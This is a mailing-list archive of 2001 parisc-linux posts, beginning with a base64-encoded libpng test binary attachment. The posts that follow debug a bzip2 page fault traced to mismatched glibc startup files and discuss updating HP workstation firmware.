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
AAAGVAAAAAAAAAA0EgAAAAAABmEAAAAAAAAA+BIAAAAAAAZyAABipAAAAAARAP/xAAAGfgAA
AAAAAAAcEgAAAAAABpAAAD8sAAAH5BIAAAsAAAaVAAAAAAAAABASAAAAAAAGpwAAAAAAAAAk
EgAAAAAABr4AAAAAAAACHBIAAAAAAAbMAAAAAAAAAQwSAAAAAAAG2QAAAAAAAACEEgAAAAAA
BvAAAEjMAAAAABIAAAwAAAb2AAAAAAAAADwSAAAAAAAHAwAAAAAAAAEgEgAAAAAABxAAAAAA
AAAANBIAAAAAAAcZAAAAAAAAACgSAAAAAAAHLAAAAAAAAAAUEgAAAAAAB0wAAAAAAAAG4BIA
AAAAAAdaAAAAAAAAAUQSAAAAAAAHagAAAAAAAABAEgAAAAAAB3cAAAAAAAAAHBIAAAAAAAeE
AABiqAAAAAQRAAAXAAAHlgAAAAAAAAEAEgAAAAAAB64AAAAAAAAAQBIAAAAAAAe7AABipAAA
AAARAP/xAAAHwgAAYdwAAAAAEQD/8QAAB9gAAGbgAAAAABEA//EAAAfdAAArAAAABPASAAAL
AAAH8AAAAAAAAABwEgAAAAAAB/0AAAAAAAAAQBIAAAAAAAgQAAAAAAAAAEwSAAAAAAAIHQAA
AAAAAABcEgAAAAAACDQAAC/wAAAPPBIAAAsAAAhCAAAAAAAAACgSAAAAAAAITwAASPQAAAAE
EQAADQAACF4AAAAAAAAAYBIAAAAAAAh2AAAAAAAABFgSAAAAAAAIhAAAAAAAAAAcEgAAAAAA
CJEAAEcQAAAAxBIAAAsAAAijAAAAAAAAAMwSAAAAAAAIvAAAAAAAAAAcEgAAAAAACNMAAAAA
AAAAQBIAAAAAAAjgAABisAAAAAwRAAAXAAAI7wAAAAAAAAGIEgAAAAAACP0AAAAAAAAAACAA
AAAAAAkTAAAAAAAAAAgSAAAAAAAJHwAAAAAAAAE0EgAAAAAACTwAAEjIAAAABCIAAAsAAAlL
AAAAAAAABhQSAAAAAExldGV4dABnY2MyX2NvbXBpbGVkLgBwX19fMABfX0RUT1JfTElTVF9f
AGNvbXBsZXRlZF9fXzEAX19kb19nbG9iYWxfZHRvcnNfYXV4AF9fRUhfRlJBTUVfQkVHSU5f
XwBmaW5pX2R1bW15AG9iamVjdF9fXzIAZnJhbWVfZHVtbXkAaW5pdF9kdW1teQBmb3JjZV90
b19kYXRhAF9fQ1RPUl9MSVNUX18ALkxDMAAuTEMxAF9fZG9fZ2xvYmFsX2N0b3JzX2F1eABf
X0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX2VuZF9pbml0AF9lbmRf
ZmluaQB0SU1FX2NodW5rX3ByZXNlbnQAdElNRV9zdHJpbmcAdmVyYm9zZQBzdGF0dXNfcGFz
cwBzdGF0dXNfZG90c19yZXF1ZXN0ZWQAc3RhdHVzX2RvdHMAemVyb19zYW1wbGVzAHdyb3Rl
X3F1ZXN0aW9uAGZwaW5fX18wAGZwb3V0X19fMQBmaWx0ZXJzX3VzZWQAaW5uYW1lAG91dG5h
bWUALkxDMgAuTEM0AC5MQzYALkxDNwAuTEM4AC5MQzExAC5MQzEyAC5MQzE0AC5MQzE3AC5M
QzE4AC5MQzE5AC5MQzIwAC5MQzE2AC5MQzIxAC5MQzE1AC5MNDc2AC5MNDUzAC5MQzEzAC5M
QzkALkxDMTAALkw0NzcALkwyODcALkxDNQAuTEMzAC5MNDc4AC5MQzUwAC5MQzUxAC5MQzUy
AC5MQzQ5AC5MQzUzAC5MQzU0AC5MQzU1AC5MQzU2AC5MQzU3AC5MQzU4AC5MQzU5AC5MQzYw
AC5MQzYxAC5MQzYyAC5MQzYzAC5MQzY0AC5MQzY2AC5MQzY4AC5MQzY1AC5MQzY5AC5MQzcx
AC5MQzcwAC5MNjMxAC5MNTU3AC5MQzY3AC5MNjMyAC5MNTU0AC5MNjMzAC5MNTM2AHBuZ19z
ZXRfc0JJVABwbmdfZ2V0X3NCSVQAcG5nX2dldF9jSFJNX2ZpeGVkAHBuZ19zZXRfY0hSTV9m
aXhlZABjb3VudF9maWx0ZXJzAHBuZ19zZXRfd3JpdGVfc3RhdHVzX2ZuAHBuZ19nZXRfYktH
RABwbmdfZ2V0X2hJU1QAcG5nX3NldF9yZWFkX3VzZXJfdHJhbnNmb3JtX2ZuAG1lbWNtcEBA
R0xJQkNfMi4yAHBuZ19zZXRfdW5rbm93bl9jaHVua19sb2NhdGlvbgBfRFlOQU1JQwBwbmdf
Z2V0X3Jvd2J5dGVzAHBuZ19zZXRfdGV4dABwbmdfZ2V0X2lDQ1AAcG5nX3NldF9yZWFkX3N0
YXR1c19mbgBwbmdfc2V0X2dBTUFfZml4ZWQAcG5nX2NyZWF0ZV9yZWFkX3N0cnVjdAAkJGR5
bmNhbGwAcG5nX2dldF90SU1FAGZwdXRzQEBHTElCQ18yLjIAcG5nX3NldF9pbnRlcmxhY2Vf
aGFuZGxpbmcAcG5nX3NldF9iS0dEAHBuZ19nZXRfaW1hZ2VfaGVpZ2h0AHBuZ19nZXRfcENB
TABwbmdfZ2V0X2ltYWdlX3dpZHRoAGZyZWFkQEBHTElCQ18yLjIAd3JpdGVfcm93X2NhbGxi
YWNrAF9fZHNvX2hhbmRsZQBmd3JpdGVAQEdMSUJDXzIuMgBwbmdfZ2V0X3NSR0IAcG5nX2Nv
bnZlcnRfdG9fcmZjMTEyMwBzdHJjcHlAQEdMSUJDXzIuMgBwbmdfc2V0X29GRnMAcG5nX3Nl
dF9JSERSAF9pbml0AHBuZ19zZXRfa2VlcF91bmtub3duX2NodW5rcwBwbmdfd3JpdGVfcm93
cwBwbmdfc2V0X3RSTlMAcG5nX21hbGxvYwBfX2RlcmVnaXN0ZXJfZnJhbWVfaW5mbwBwbmdf
YWNjZXNzX3ZlcnNpb25fbnVtYmVyAHBuZ19zZXRfcENBTABwbmdfY3JlYXRlX3dyaXRlX3N0
cnVjdABwbmdfZ2V0X29GRnMAX3N0YXJ0AHBuZ19zZXRfdW5rbm93bl9jaHVua3MAcG5nX3dy
aXRlX2luZm8AcG5nX3NldF9QTFRFAGZvcGVuQEBHTElCQ18yLjIAZmNsb3NlQEBHTElCQ18y
LjIAJGdsb2JhbCQAcG5nX2dldF9QTFRFAGZwdXRjQEBHTElCQ18yLjIAX19ic3Nfc3RhcnQA
c3RyY21wQEBHTElCQ18yLjIAbWFpbgBwbmdfZ2V0X2NvcHlyaWdodABwbmdfZ2V0X2hlYWRl
cl92ZXJzaW9uAHBuZ193cml0ZV9lbmQAcG5nX2dldF9JSERSAF9fc2lnc2V0am1wQEBHTElC
Q18yLjIAX2ZpbmkAcG5nX3NldF9zQ0FMAHBuZ19zZXRfaUNDUABwbmdfZnJlZQBwbmdfZ2V0
X2dBTUFfZml4ZWQAcG5nX3NldF93cml0ZV91c2VyX3RyYW5zZm9ybV9mbgBwbmdfcmVhZF9p
bmZvAGV4aXRAQEdMSUJDXzIuMgBwbmdfZ2V0X3RleHQAcG5nX3NldF9oSVNUAHN0ZG91dEBA
R0xJQkNfMi4yAHBuZ19kZXN0cm95X3JlYWRfc3RydWN0AHBuZ19nZXRfc0NBTABfZWRhdGEA
X0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9lbmQAY291bnRfemVyb19zYW1wbGVzAHBuZ19nZXRf
dFJOUwBmcHJpbnRmQEBHTElCQ18yLjIAcG5nX2dldF9wSFlzAHBuZ19jcmVhdGVfaW5mb19z
dHJ1Y3QAdGVzdF9vbmVfZmlsZQBwbmdfc2V0X3BIWXMAX0lPX3N0ZGluX3VzZWQAcG5nX2Rl
c3Ryb3lfaW5mb19zdHJ1Y3QAcG5nX2ZyZWVfZGF0YQBwbmdfc2V0X3NSR0IAcmVhZF9yb3df
Y2FsbGJhY2sAcG5nX2Rlc3Ryb3lfd3JpdGVfc3RydWN0AHBuZ19nZXRfdW5rbm93bl9jaHVu
a3MAcG5nX3NldF90SU1FAHBuZ19saWJwbmdfdmVyAHBuZ19yZWFkX3Jvd3MAX19yZWdpc3Rl
cl9mcmFtZV9pbmZvAHBuZ19pbml0X2lvAF9fbGliY19zdGFydF9tYWluQEBHTElCQ18yLjIA
X19nbW9uX3N0YXJ0X18AcG5nX3JlYWRfZW5kAA==

--==_Exmh_-11742674900--






From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bzip2 causes page fault
Date: Tue, 6 Mar 2001 21:07:08 +1100 (EST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103062051380.442-100000@front.linuxcare.com.au>
References: <20010306090048.53CB038BD7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619932 16615 80.91.229.3 (22 Nov 2014 01:32:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:12 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 03:08:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CC2981EC
	for <parisc-linux@parisc-linux.org>; Tue,  6 Mar 2001 03:08:55 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA23688;
	Tue, 6 Mar 2001 21:07:08 +1100
In-Reply-To: <20010306090048.53CB038BD7@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10461

On Tue, 6 Mar 2001, Matt Taggart wrote:

> I am attempting to build the bzip2 debian package I ran into a problem. The 
> build creates the bzip2 executable and library and attempts to do some 
> compression/decompression as a test. When it does I get the following page 
> fault,

When I run this, I get a page fault in a different place, in
libbz2.so.1.0:__do_global_ctors_aux, which is called from _init.
Disassembly of libbz2.so.1.0 reveals some nastiness in _init:

000000000000134c <_init>:
    134c:       6b c2 3f d9     stw rp,-14(sp)
    1350:       6f c3 00 80     stw,ma r3,40(sp)
    1354:       6b d3 3f c1     stw r19,-20(sp)
    1358:       e8 5f 1f bd     b,l 133c <_init-0x10>,rp
    135c:       08 13 02 43     copy r19,r3
    1360:       08 03 02 53     copy r3,r19
    1364:       e8 40 05 00     b,l 15ec <frame_dummy>,rp
    1368:       08 00 02 40     nop
    136c:       08 04 02 53     copy r4,r19
    1370:       e8 46 1c 18     b,l e184 <__do_global_ctors_aux>,rp
    1374:       08 00 02 40     nop
    1378:       08 04 02 53     copy r4,r19
    137c:       4b c2 3f 59     ldw -54(sp),rp
    1380:       08 03 02 53     copy r3,r19
    1384:       e8 40 c0 00     bv r0(rp)

0000000000001388 <_end_init>:
    1388:       4f c3 3f 81     ldw,mb -40(sp),r3

Notice how r19 is being saved in r3 at the start of this function, but
then restored from r4 before the call to __do_global_ctors_aux.  __init is
a little special, as it is cobbled together from crti.o (provides start
of function up to the frame_dummy call), the call to
__do_global_ctors_aux, and crtn.o (provides tail of function).  You
obviously have a mismatch :-O

To fix it, you'll need to recompile current pehc CVS glibc using the new
compiler, which will give you new crti.o and crtn.o  (And yeah, the fault
is mine - I broke our glibc sources for a while)

I strongly suspect your other crashes are caused by the same problem.

Alan Modra
-- 
Linuxcare.





From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [HPADM] SUMMARY: firmware questions
Date: Tue, 6 Mar 2001 13:45:01 -0500 (EST)
Lines: 158
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.30.0103061332440.16778-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619933 16616 80.91.229.3 (22 Nov 2014 01:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:13 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 11:40:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pokey.513erich.iwaynet.net (router.513erich.iwaynet.net [206.244.44.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BF2424A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 11:40:45 -0700 (MST)
Original-Received: from localhost (localhost.localnet [127.0.0.1])
	by pokey.513erich.iwaynet.net (8.9.3/8.9.3) with ESMTP id NAA17404
	for <parisc-linux@lists.parisc-linux.org>; Tue, 6 Mar 2001 13:45:01 -0500
Original-Sender: <herrold@513erich.iwaynet.net>
Xref: news.gmane.org gmane.linux.ports.parisc:10462

This crossed the HP-UX admin list in summary form today -- it is
somewhat longish, but it got me to thinking about firmware version
issues.

I was left with a couple of unanswerable (to me) questions:

Predicate: An arbitrary HP chassis, found on ebay or cast off at
work, will have no maintenance records, and be in an unknown state
as to firmware version.

1.  For porters:  I would infer that some of the code is
re-inventing firmware-fixpacks and firmware-state detection code
[consciously or not] for problems which have already been
indentified and perhaps solved, by HP.  Is this being well or
episodically addressed, and could it be done better?


2.  For HP-ers:  Is HP-corporate ameanable to general release and
application of fixpacks to the general population of HP-chassis
owners?  This answer may vary by host class -- i.e., if the
provision of fixpacks is a maintenance contract benefit, it may be
sensible only from HP's point of view to release only older
'end-of-life'd' class hosts without charge (they are no longer a
revenue stream item) -vs- release them all, recognizing that the GPL
feedback might provide a fix for an indentified but un-addressed
fixpack open issue.

I have left the HPUX-admin trailer intact for subscribers here
unaware of that list -- beware if subscribing -- lurk to learn their
ways

-- Russ Herrold



---------- Forwarded message ----------
Date: Tue, 06 Mar 2001 09:49:50 -0800
From: Tom Lieuallen <toml@engr.orst.edu>
To: hpux-admin@dutchworks.nl
Subject: [HPADM] SUMMARY: firmware questions


As usual, there were a number of quick and knowledgeable answers...
Thanks to:
  Henry Helfenbein
  Paul Alberts
  Eef Hartman
  Bill Hassell
  Jeff Cleverley

> A couple questions about HP workstation firmware:
>
> * If we have no problems with a workstation, should we leave it well
>   enough alone?  Or, should we be proactive and update them?
>
>   For reference, we're dealing with models like 712/80, C160, B132+, etc.
>
>   They're on their way out of our environment, in the next year or two,
>   so I'm not really _looking_ to do unnecessary work.
>

There wasn't concenus on this.

henry> It doesn't sound like you are experiencing any problems, so I wouldn't
henry> screw with it.

paul> You never know when budget issues might compel you to depend on
paul> these longer than expected.  I would update the firmware when it is
paul> convenient.

eef> We always let well alone. Especially as it concerns older models,
eef> so you probably won't be upgrading to the newest HP-UX 11 version
eef> either.  HP-UX 10.20 will never be needing that newer firmware...

bill>  HP does not release patches just to fill up disk space.
bill>  There are critical patches that should be installed and
bill>  they are sent automatically every two months (assuming you
bill>  have a support contract).  A sysadmin's job is to prevent
bill>  problems rather than react when mistakes are discovered.

bill>  A workstation is often less visible to an IT department as
bill>  "it's only one user" so patches get ignored along with
bill>  disk space management.  There are thousands of customers
bill>  still running versions of HP-UX that are not Y2K compliant
bill>  and the scary thought is that they won't know that some
bill>  reports and even regular backups are not working correctly
bill>  because the failures are silent--unless the sysadmin
bill>  checks every single cron job every day, and verifies every
bill>  line of data in the databases every day, there is likely
bill>  no way to know if something is not working right.

jeff> If it's not broke, don't fix it.

> * The various firmware patches/updates mention writing the firmware to
>   tape and booting from the tape.  Seems archaic.  :-)  Are there
>   alternative options such as loading the firmware in /stand or
>   somewhere on a network boot area?

henry> I administer about 20 C-class workstations that I haven't touched the
henry> firmware on yet. I upgraded the firware on a K580 here going from 39.11
henry> to 39.43 without any issues, but if you download the wrong model you
henry> can render the system useless. I saw something on this mailing list a
henry> few months back where somebody did just that. It sounded ugly!

henry> I downloaded my patch from HP's ITRC and put it on DDS DAT tape. No
henry> problems. I don't know of any other way to do it, since I only did that
henry> once just recently.

bill>  Not archaic at all.  The operating system is a massive
bill>  piece of software that isolates the hardware from the
bill>  software and it must always be running even to read a
bill>  simple file.  Updating processor firmware (the basic
bill>  instructions of the machine itself) must essentially stop
bill>  all execution of the opsystem while the changes are made.
bill>  But since the file with the firmware cannot be accessed
bill>  without the opsystem running, it's a Catch-22.  A tape is
bill>  a dumb device so the procssor ROMs just issue a simple
bill>  read and provide an I/O address.

eef> The problem is, while updating the firmware you are NOT running Unix,
eef> so you don't have a filesystem, nor networking.  The update program is
eef> total standalone, needs direct hardware access (which Unix normally
eef> reserves for the kernel ONLY).

eef> Even the "/stand" access for booting doesn't come out of the firmware
eef> but out of the "hpux" util in the IPL (which is soft-loaded onto the
eef> disk).  hpux-admin@dutchworks.nl

jeff> I don't know if it will work, but you could try putting it in /stand
jeff> and try booting like it was an alternate kernel.  We always did ours
jeff> from tape on the occasions we needed to do it.


> I'll summarize.

So, it sounds like the tape is the only way to go.  And, there are
conflicting opinions -- either "if isn't broke; don't fix it"
vs "HP knows best -- be proactive".

I believe I'll be updating firmware as convenient, starting with the
models that will be around the longest. :-)

thanks

Tom Lieuallen
Oregon State University

--
             ---> Please post QUESTIONS and SUMMARIES only!! <---
        To subscribe/unsubscribe to this list, contact majordomo@dutchworks.nl
       Name: hpux-admin@dutchworks.nl     Owner: owner-hpux-admin@dutchworks.nl

 Archives:  ftp.dutchworks.nl:/pub/digests/hpux-admin       (FTP, browse only)
            http://www.dutchworks.nl/htbin/hpsysadmin   (Web, browse & search)





From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [HPADM] SUMMARY: firmware questions
Date: Tue, 06 Mar 2001 11:46:41 -0800
Lines: 77
Approved: news@gmane.org
Message-ID: <200103061946.LAA03745@milano.cup.hp.com>
References: <Pine.LNX.4.30.0103061332440.16778-100000@pokey.513erich.iwaynet.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619933 16619 80.91.229.3 (22 Nov 2014 01:32:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: herrold <herrold@owlriver.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  6 12:43:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id C25FF4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Mar 2001 12:43:26 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 1637C1A0; Tue,  6 Mar 2001 11:43:26 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA03745;
	Tue, 6 Mar 2001 11:46:42 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 06 Mar 2001 13:45:01 PST."
             <Pine.LNX.4.30.0103061332440.16778-100000@pokey.513erich.iwaynet.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10463

herrold wrote:
> This crossed the HP-UX admin list in summary form today -- it is
> somewhat longish, but it got me to thinking about firmware version
> issues.
> 
> I was left with a couple of unanswerable (to me) questions:
> 
> Predicate: An arbitrary HP chassis, found on ebay or cast off at
> work, will have no maintenance records, and be in an unknown state
> as to firmware version.

It will be known a few moment after one powers on the box.

> 1.  For porters:  I would infer that some of the code is
> re-inventing firmware-fixpacks and firmware-state detection code
> [consciously or not] for problems which have already been
> indentified and perhaps solved, by HP.  Is this being well or
> episodically addressed, and could it be done better?

It's not being addressed for parisc-linux by anyone *yet*.
You are welcome to submit a wishlist bug at http://bugs.parisc-linux.org

In general, parisc-linux expects one to upgrade firmware "manually"
to the latest version. Firmware updates are simple and can be done
by booting LIF images available from HP's "CPU" support website (ftp really).
Warnings about downloading the wrong firmware rendering a box useless
are to be taken *very* seriously.


> 2.  For HP-ers:  Is HP-corporate ameanable to general release and
> application of fixpacks to the general population of HP-chassis
> owners?  This answer may vary by host class -- i.e., if the
> provision of fixpacks is a maintenance contract benefit, it may be
> sensible only from HP's point of view to release only older
> 'end-of-life'd' class hosts without charge (they are no longer a
> revenue stream item) -vs- release them all, recognizing that the GPL
> feedback might provide a fix for an indentified but un-addressed
> fixpack open issue.

I'm not sure what you mean by fixpack in the above context.

HP currently makes all firmware available for free and people
can download them for free. HP both fixes bugs and adds support
for new features in firmware updates. So reasons for updating
may vary.


...
> So, it sounds like the tape is the only way to go.

I've been doing all of my updates via the network - everything
from 712's to C3K and A500s.

One can also dd the firmware update image to a scratch
disk and boot from that instead of tape - it's *alot*
faster. :^)

> And, there are
> conflicting opinions -- either "if isn't broke; don't fix it"
> vs "HP knows best -- be proactive".

I fall into the latter camp. I know and trust the firmware guys
to fully test firmware before releasing it. And they have to be
since a failed download or broken firmware means the box is
rendered useless.

My experience to date has been pretty good overall - better than
HPUX networking patches for example. :^)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthieu Delahaye <delahaym@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recording with harmony
Date: Tue, 06 Mar 2001 22:55:06 +0100
Lines: 349
Approved: news@gmane.org
Message-ID: <3AA55CBA.DA306BF9@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------EB42E961D7878AECC355519F"
